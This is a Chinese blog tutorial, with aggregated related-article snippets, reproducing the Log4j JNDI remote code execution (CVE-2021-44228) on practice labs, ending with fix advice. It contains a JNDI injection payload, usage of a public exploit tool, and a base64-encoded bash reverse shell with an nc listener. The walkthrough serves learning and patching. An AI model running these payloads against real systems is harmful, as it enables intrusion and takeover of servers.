代码编织梦想

文章源自于个人博客:http://vfree.ltd/

前言

2021/12/09,阿里云安全团队向apache报告了由log4j日志引起的远程代码执行,12月10日,当天白帽跟提前过大年似的,疯狂刷src(利用超级简单),让部分src平台暂时停止收类似该漏洞,凌晨,很多程序员和安全员被迫起来应急响应,几乎市面上的大厂都受到了该漏洞的影响

这里做一个复现学习的小文章,由于对java这方面的知识雀食是薄弱,而且本地复现时,出现了挺多问题,在本地复现时,不知道是什么原因,利用payload去打的时候,总是说loggxxx模块不存在…idea也犯毛病…果断直接用网上的靶机去复现一波

1.漏洞信息

漏洞信息
漏洞名称Apche log4j远程代码执行漏洞
漏洞编码CVE-2021-44228
漏洞危害严重
漏洞时间2021/12/10
受影响版本Apache Log4j 2.x <= 2.14.1 <= Log4j 2.15.0-rc1
利用难度
POC已知
EXP已知

1.1漏洞描述

apache log4j通过定义每一条日志信息的级别能够更加细致地控制日志生成地过程,受影响地版本中纯在JNDI注入漏洞,导致日志在记录用户输入地数据时,触发了注入漏洞,该漏洞可导致远程代码执行,且利用条件低,影响范围广,小到网站,大到可联网的车都受影响,建议使用了相关版本的应用或者插件,尽快升级修补,做好相关方措施,避免造成不必要的损失

2.受影响组件

根据网上公开的信息来看,目前一下组件是已知搜受影响的插件

  • Spring-boot-strater-log4j2
  • Apache Solr
  • Apache Flink
  • Apache Druid

3.漏洞靶场

  • catflag: 暂无
  • 掌控安全: http://d63bb2586.lab.aqlab.cn/
  • vulfocus: http://vulfocus.fofa.so/#/dashboard
  • ctfshow: https://ctf.show/challenges#Log4j%E5%A4%8D%E7%8E%B0-1730
  • bugku: https://ctf.bugku.com/challenges/detail/id/340.html

4.dnslog platform

  • dnslog: http://www.dnslog.cn/
  • dnslog:https://log.xn–9tr.com/
  • ceye:http://ceye.io/

5.漏洞复现(如果是仅作是否存在该漏洞测试,使用这条payload即可)

测试POC:

payload: ${jndi:idap://[这里填写在上面提到的dns platform 中获取到的dns域名]}

5.1 本地测试

本地测试: Github: https://github.com/fengxuangit/log4j_vuln

5.2靶场复现---vulfocus

这里以vulfocus靶场进行复现,本文目的是为了让学习和研究该漏洞,禁用用于任何非法行为

5.1.1 复现开始

1.构造环境

最好是配置jdk1.8.0_172的版本,更高的版本可以无法利用成功
在反弹shell同时,需要在vps本地构建一个ldap服务

GitHub: https://github.com/welk1n/JNDI-Injection-Exploit

使用:
	1.cd JNDI-Injection-Exploit
	2.mvn clean package -DskipTests
	3.java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open /Applications/Calculator.app" -A "127.0.0.1"

if '提示' == 'bash: mvn: command not found':
	参考文章: https://blog.csdn.net/jiangyu1013/article/details/103584140

使用mvn构建完成后,会在该文件夹下新建一个target的文件夹,记录该文件夹

2.打开靶机

访问地址根据给出的为准

3.访问题目

注意:题目url要加/hello,并且要以post的方式定义payload值进行传参)

即:url/hello POSTDATA:payload=xxxxxxxx

4. POC测试

在本文上面的第四点讲到的dnslog platform中任意找一个可用的dnslog平台获取一个dns,然后构造payload测试是否存在漏洞

payload传入成功会回显ok


> Got SubDomain :获取dns > Rcfrcsh Rcord :获取目标是否有解析会回来,如果有的话,说明该站可能纯在log4j的漏洞

传入payload (${jndi:idap://[这里填写在上面提到的dns platform 中获取到的dns域名]})

回到dnslog platform查看是否有解析记录

如果dnslog platform返回了类似上面的内容的花,即证明该漏洞存在切可用

5.构造环境

使用到第一步搭建好的 JNDI-Injection-Exploit

在JNDI-Injection-Exploit目录下执行

java -jar target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,[经过base64编码后的命令]}|{base64,-d}|bash" -A [你的vpsip]

比如这样子↓

bash -i >& /dev/tcp/127.0.0.1/6666 0>&1 ---> YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNjY2NiAwPiYx

 java -jar target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNjY2NiAwPiYx}|{base64,-d}|bash" -A 127.0.0.1
 注意:根据自身情况调整payload
6.打开监听

另起终端,打开nc -lvp 端口 进行监听

7.Attack

vulfocus的靶机,用类似下面这个payload


8.成功getshell

6.修复建议

  • 1.更新log4j至 rc2(https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2)
  • 2.配置防火墙策略,禁止主动连接外网设备
  • 3.升级受影响的应用及组件
  • 4.过滤相关的关键词,比如${jndi://*}

注意,2021/12/10 360漏洞云发布二次通告预警,官方发布的修复rc1版本仍然可以绕过,请使用该版本的的用户尽快升级至rc2

7.注意的点

所有漏洞复现文章仅供学习交流使用,禁止用于非法用途!!!

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/weixin_43895765/article/details/121943404

(环境搭建+复现)CVE-2021-44228 Apache Log4j 远程代码执行漏洞-爱代码爱编程

 0x00 简介         ApacheLog4j2是一个开源的Java日志框架,被广泛地应用在中间件、开发框架与Web应用中。 0x01 漏洞概述         该漏洞是由于Apache Log4j2某些功能存在递归解析功能,未经身份验证的攻击者通过发送特定恶意数据包,可在目标服务器上执行任意代码。 0x02 影响范围 Apache L

Log4j2 RCE漏洞复现-爱代码爱编程

复现一下这个让安全圈过年的漏洞Log4j2-rce 漏洞影响范围 2.0 <= Apache Log4j <= 2.15.0-rc1(1.x版本暂时未发现存在该问题) 漏洞复现 环境要求 JDK版本不高于11.0.1 8u191 7u201 6u211,复现环境使用8u181 完整代码 主要是用log4j跑一下

Apache Log4j2代码执行漏洞复现(cve-2021-44228)-爱代码爱编程

目录 一、漏洞描述二、影响范围三、漏洞复现1、创建一个maven项目,并导入log4j的依赖包2、编写POC3、编写恶意类4、起http服务5、编译并开启LDAP服务6、运行POC四、反弹shell1、靶场搭建2、访问漏洞环境,环境部署成功3、起RMI和Ldap服务4、开启nc监听5、火狐浏览器进行验证6、反弹shell成功 一、漏洞描述 l

【漏洞预警】CVE-2021-44228:Apache Log4j2存在任意代码执行漏洞-爱代码爱编程

Apache Log4j2 存在任意代码执行漏洞 知柯信息安全,用心呵护您的安全! (CSDN二次通报)Apache Log4j 是 Apache 的一个开源项目,Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架,并且引入了大量丰富的特性。我们可以控制日志信息输送的目的地为控制台、文件、GUI组件等,通过定义每

解决 vCenter Server 和 vCenter Cloud Gateway 中的 CVE-2021-44228 的变通办法说明 (87081-爱代码爱编程

 目的 CVE-2021-44228已被确定通过其附带的Apache Log4j开源组件影响vCenter Server 7.0.x,vCenter 6.7.x和vCenter 6.5.x。以下 VMware 安全通报 (VMSA) 中记录了此漏洞及其对 VMware 产品的影响,请先查看本文档,然后再继续操作: CVE

Apache Log4j2 (CVE-2021-44228)漏洞详细复现过程-爱代码爱编程

    首先我们要理解漏洞产生的原因,我们构造的payload在LDAP客户端(存在漏洞的机器)执行,payload地址为LDAP服务端,LDAP服务端从HTTP服务器加载恶意文件。(验证的话,payload直接为DNS服务器即可) 以github上项目为例:GitHub - tangxiaofeng7/CVE-2021-44228-Apache-L

CVE-2021-44228-log4j2复现详细版本-简单教程。-爱代码爱编程

0x01-前言 昨晚爆出的log4j rce 是通过lookup触发的漏洞,但jdk1.8.191以上默认不支持ldap协议,对于高版本jdk,则需要一定的依赖。不过为了给大家最简单的说明,我这里还是用jdk1.8.144的版本来运行。 0x02-靶场搭建 docker 搭建方式 docker pull registry.cn-hangzhou.a

Apache Log4j 远程代码执行漏洞(CVE-2021-44228)漏洞复现-爱代码爱编程

漏洞描述 Apache Log4j2是一款优秀的Java日志框架。2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apa

刚刚公布的 Log4J 的史诗级安全漏洞 CVE-2021-44228 你处理了吗?-爱代码爱编程

发生什么事了 Log4J 是一个应用非常广泛的Java库,就在前两天的2021年12月10日,Log4J的一个安全漏洞被公布了。那天正好是周五,很多程序员都在计划着怎么度过一个愉快的周末,不料这个安全漏洞的公开,使得全世界很多程序员不得不周末加班,有的甚至通宵达旦紧急应对。 漏洞编号为CVE-2021-44228 ,攻击者利用这个新的零日漏洞,可以

Log4j2 远程代码执行漏洞(cve-2021-44228)复现(反弹shell)-爱代码爱编程

文章目录 1、构造EXP2、使用javac进行编译3、将.class文件放到web根目录下4、使用marshalsec-0.0.3-SNAPSHOT-all.jar开启一个ldap的服务5、nc开启监听6、准备工作完毕,上payload7、靶场测试8、成功反弹shell 最近log4j2可谓是无人不知无人不晓,出去吹牛不知道这个还好意思说自己是

Log4j2 远程代码执行漏洞(cve-2021-44228)原理剖析-爱代码爱编程

文章目录 1、JNDI、RMI、LDAP、JNDI注入?2、Log4j2 rce原理3、影响版本4、修复思路 要了解本次Log4j2 rce的原理,首先我们得知道什么是JNDI,什么是JNDI注入,什么是RMI,什么又是LDAP… 本文中只讲原理,具体复现请转至:Log4j2 远程代码执行漏洞(cve-2021-44228)复现(反弹shel

CVE-2021-44228:Apache Log4j RCE-爱代码爱编程

文章前言 本篇文章我们主要介绍关于CVE-2021-44228:Apache Log4j RCE漏洞的自检与修复,帮助甲方人员尽快修复项目中存在的不安全依赖 漏洞概述 Apache Log4j2是⼀个基于Java的⽇志记录⼯具,该⼯具重写了Log4j框架,并且引⼊了⼤量丰富的特性,该⽇志框架被⼤量⽤于业务系统开发,⽤来记录⽇志信息,⼤多数情况下,开发

ctfshow Log4j复现wp-爱代码爱编程

声明: 该文章来自本人日常学习笔记,请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与本人无关 JNDIExploit 先将反弹shell的命令base64编码,然后将里面的+号和=号进行一次url编码 注:IP填vps公网ip,PORT要和nc监听的端口对应 bash -i >& /dev/tcp/IP/PORT

log4j复现过程_log4j 复现-爱代码爱编程

log4j是一个记录日志的组件,用来对程序状态进行动态记录, logger.info("system propety: ${jndi:schema://url}"); jndi:jndi解析器通过jdk获取内容,反序列化为java对象作为jndi, 并打印,jndi就是这个从外部查找得到的java对象。 schema:获取方式,jdk支持多种不同的查